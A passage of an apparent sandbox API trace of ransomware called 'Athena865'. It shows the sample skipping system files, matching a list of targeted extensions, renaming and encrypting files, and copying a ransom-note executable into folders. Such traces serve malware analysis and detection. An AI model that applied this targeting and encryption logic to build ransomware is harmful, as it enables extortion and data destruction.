Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.595] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.596] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.596] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.596] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d00, lpName=0x0) returned 0x154 [0090.597] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d00) returned 0x100000 [0090.600] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.600] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.600] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.601] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.601] CloseHandle (hObject=0x154) returned 1 [0090.601] CloseHandle (hObject=0x17c) returned 1 [0090.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.602] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NBMapTIP.dll.mui", cAlternateFileName="")) returned 1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".") returned 1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="..") returned 1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="windows") returned -1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="bootmgr") returned 1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="temp") returned -1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="pagefile.sys") returned -1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="boot") returned 1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="ids.txt") returned 1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="ntuser.dat") returned -1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="perflogs") returned -1 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2="MSBuild") returned 1 [0090.602] lstrlenW (lpString="NBMapTIP.dll.mui") returned 16 [0090.602] lstrcpyW (in: lpString1=0x241e896, lpString2="NBMapTIP.dll.mui" | out: lpString1="NBMapTIP.dll.mui") returned="NBMapTIP.dll.mui" [0090.602] lstrlenW (lpString="NBMapTIP.dll.mui") returned 16 [0090.602] lstrlenW (lpString="Athena865") returned 9 [0090.602] lstrcmpiW (lpString1="P.dll.mui", lpString2="Athena865") returned 1 [0090.602] lstrlenW (lpString=".dll") returned 4 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".dll") returned 1 [0090.602] lstrlenW (lpString=".lnk") returned 4 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".lnk") returned 1 [0090.602] lstrlenW (lpString=".ini") returned 4 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".ini") returned 1 [0090.602] lstrlenW (lpString=".sys") returned 4 [0090.602] lstrcmpiW (lpString1="NBMapTIP.dll.mui", lpString2=".sys") returned 1 [0090.603] lstrlenW (lpString="NBMapTIP.dll.mui") returned 16 [0090.603] lstrlenW (lpString="bak") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0090.603] lstrlenW (lpString="ba_") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0090.603] lstrlenW (lpString="dbb") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0090.603] lstrlenW (lpString="vmdk") returned 4 [0090.603] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0090.603] lstrlenW (lpString="rar") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0090.603] lstrlenW (lpString="zip") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0090.603] lstrlenW (lpString="tgz") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0090.603] lstrlenW (lpString="vbox") returned 4 [0090.603] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0090.603] lstrlenW (lpString="vdi") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0090.603] lstrlenW (lpString="vhd") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0090.603] lstrlenW (lpString="vhdx") returned 4 [0090.603] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0090.603] lstrlenW (lpString="avhd") returned 4 [0090.603] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0090.603] lstrlenW (lpString="db") returned 2 [0090.603] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0090.603] lstrlenW (lpString="db2") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0090.603] lstrlenW (lpString="db3") returned 3 [0090.603] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0090.603] lstrlenW (lpString="dbf") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0090.604] lstrlenW (lpString="mdf") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0090.604] lstrlenW (lpString="mdb") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0090.604] lstrlenW (lpString="sql") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0090.604] lstrlenW (lpString="sqlite") returned 6 [0090.604] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0090.604] lstrlenW (lpString="sqlite3") returned 7 [0090.604] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0090.604] lstrlenW (lpString="sqlitedb") returned 8 [0090.604] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0090.604] lstrlenW (lpString="xml") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0090.604] lstrlenW (lpString="$er") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0090.604] lstrlenW (lpString="4dd") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0090.604] lstrlenW (lpString="4dl") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0090.604] lstrlenW (lpString="^^^") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0090.604] lstrlenW (lpString="abs") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0090.604] lstrlenW (lpString="abx") returned 3 [0090.604] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0090.604] lstrlenW (lpString="accdb") returned 5 [0090.604] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0090.604] lstrlenW (lpString="accdc") returned 5 [0090.604] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0090.605] lstrlenW (lpString="accde") returned 5 [0090.605] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0090.605] lstrlenW (lpString="accdr") returned 5 [0090.605] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0090.605] lstrlenW (lpString="accdt") returned 5 [0090.605] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0090.605] lstrlenW (lpString="accdw") returned 5 [0090.605] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0090.605] lstrlenW (lpString="accft") returned 5 [0090.605] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0090.605] lstrlenW (lpString="adb") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.605] lstrlenW (lpString="adb") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0090.605] lstrlenW (lpString="ade") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0090.605] lstrlenW (lpString="adf") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0090.605] lstrlenW (lpString="adn") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0090.605] lstrlenW (lpString="adp") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0090.605] lstrlenW (lpString="alf") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0090.605] lstrlenW (lpString="ask") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0090.605] lstrlenW (lpString="btr") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0090.605] lstrlenW (lpString="cat") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0090.605] lstrlenW (lpString="cdb") returned 3 [0090.605] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0090.606] lstrlenW (lpString="ckp") returned 3 [0090.606] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0090.606] lstrlenW (lpString="cma") returned 3 [0090.606] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0090.606] lstrlenW (lpString="cpd") returned 3 [0090.606] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0090.606] lstrlenW (lpString="dacpac") returned 6 [0090.606] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0090.606] lstrlenW (lpString="dad") returned 3 [0090.606] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0090.606] lstrlenW (lpString="dadiagrams") returned 10 [0090.606] lstrcmpiW (lpString1="IP.dll.mui", lpString2="dadiagrams") returned 1 [0090.606] lstrlenW (lpString="daschema") returned 8 [0090.606] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0090.606] lstrlenW (lpString="db-journal") returned 10 [0090.606] lstrcmpiW (lpString1="IP.dll.mui", lpString2="db-journal") returned 1 [0090.606] lstrlenW (lpString="db-shm") returned 6 [0090.606] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0090.606] lstrlenW (lpString="db-wal") returned 6 [0090.606] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0090.606] lstrlenW (lpString="dbc") returned 3 [0090.606] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0090.606] lstrlenW (lpString="dbs") returned 3 [0090.606] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0090.606] lstrlenW (lpString="dbt") returned 3 [0090.606] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0090.606] lstrlenW (lpString="dbv") returned 3 [0090.606] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0090.606] lstrlenW (lpString="dbx") returned 3 [0090.606] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0090.607] lstrlenW (lpString="dcb") returned 3 [0090.607] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0090.607] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui.Athena865") returned 65 [0090.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\nbmaptip.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\nbmaptip.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.608] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\nbmaptip.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.608] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0090.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.608] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.609] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.609] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.609] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0090.611] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0090.612] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.613] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.613] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.613] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.614] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.614] CloseHandle (hObject=0x154) returned 1 [0090.614] CloseHandle (hObject=0x17c) returned 1 [0090.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.614] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 1 [0090.614] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.614] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.614] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".") returned 1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="..") returned 1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="windows") returned -1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="bootmgr") returned 1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="temp") returned -1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="pagefile.sys") returned 1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="boot") returned 1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="ids.txt") returned 1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="ntuser.dat") returned 1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="perflogs") returned -1 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2="MSBuild") returned 1 [0090.615] lstrlenW (lpString="PDIALOG.exe.mui") returned 15 [0090.615] lstrcpyW (in: lpString1=0x241e896, lpString2="PDIALOG.exe.mui" | out: lpString1="PDIALOG.exe.mui") returned="PDIALOG.exe.mui" [0090.615] lstrlenW (lpString="PDIALOG.exe.mui") returned 15 [0090.615] lstrlenW (lpString="Athena865") returned 9 [0090.615] lstrcmpiW (lpString1="G.exe.mui", lpString2="Athena865") returned 1 [0090.615] lstrlenW (lpString=".dll") returned 4 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".dll") returned 1 [0090.615] lstrlenW (lpString=".lnk") returned 4 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".lnk") returned 1 [0090.615] lstrlenW (lpString=".ini") returned 4 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".ini") returned 1 [0090.615] lstrlenW (lpString=".sys") returned 4 [0090.615] lstrcmpiW (lpString1="PDIALOG.exe.mui", lpString2=".sys") returned 1 [0090.615] lstrlenW (lpString="PDIALOG.exe.mui") returned 15 [0090.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui.Athena865") returned 64 [0090.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui" (normalized: "c:\\program files\\windows journal\\en-us\\pdialog.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\pdialog.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.617] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui.Athena865" (normalized: "c:\\program files\\windows journal\\en-us\\pdialog.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.617] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0090.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.617] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.618] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.618] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.618] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0090.622] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0090.623] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.624] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.624] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.624] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.624] CloseHandle (hObject=0x154) returned 1 [0090.624] CloseHandle (hObject=0x17c) returned 1 [0090.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.625] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PDIALOG.exe.mui", cAlternateFileName="")) returned 0 [0090.625] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0090.625] ReleaseMutex (hMutex=0xec) returned 1 [0090.625] CloseHandle (hObject=0xec) returned 1 [0090.625] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Journal\\Templates" | out: lpString1="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5290d0 | out: hHeap=0x4f0000) returned 1 [0090.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c3b0 | out: hHeap=0x4f0000) returned 1 [0090.625] lstrlenW (lpString="C:\\Program Files\\Windows Journal\\Templates") returned 42 [0090.625] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5B5BAC15F4EE7AF02B4CB766AFEA6AB5") returned 0xec [0090.625] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0090.625] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Journal\\Templates" | out: lpString1="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.625] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0090.625] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0090.626] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows journal\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0090.626] GetLastError () returned 0x0 [0090.626] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0090.626] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0090.626] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0090.627] CloseHandle (hObject=0xf4) returned 1 [0090.627] HeapFree (in: 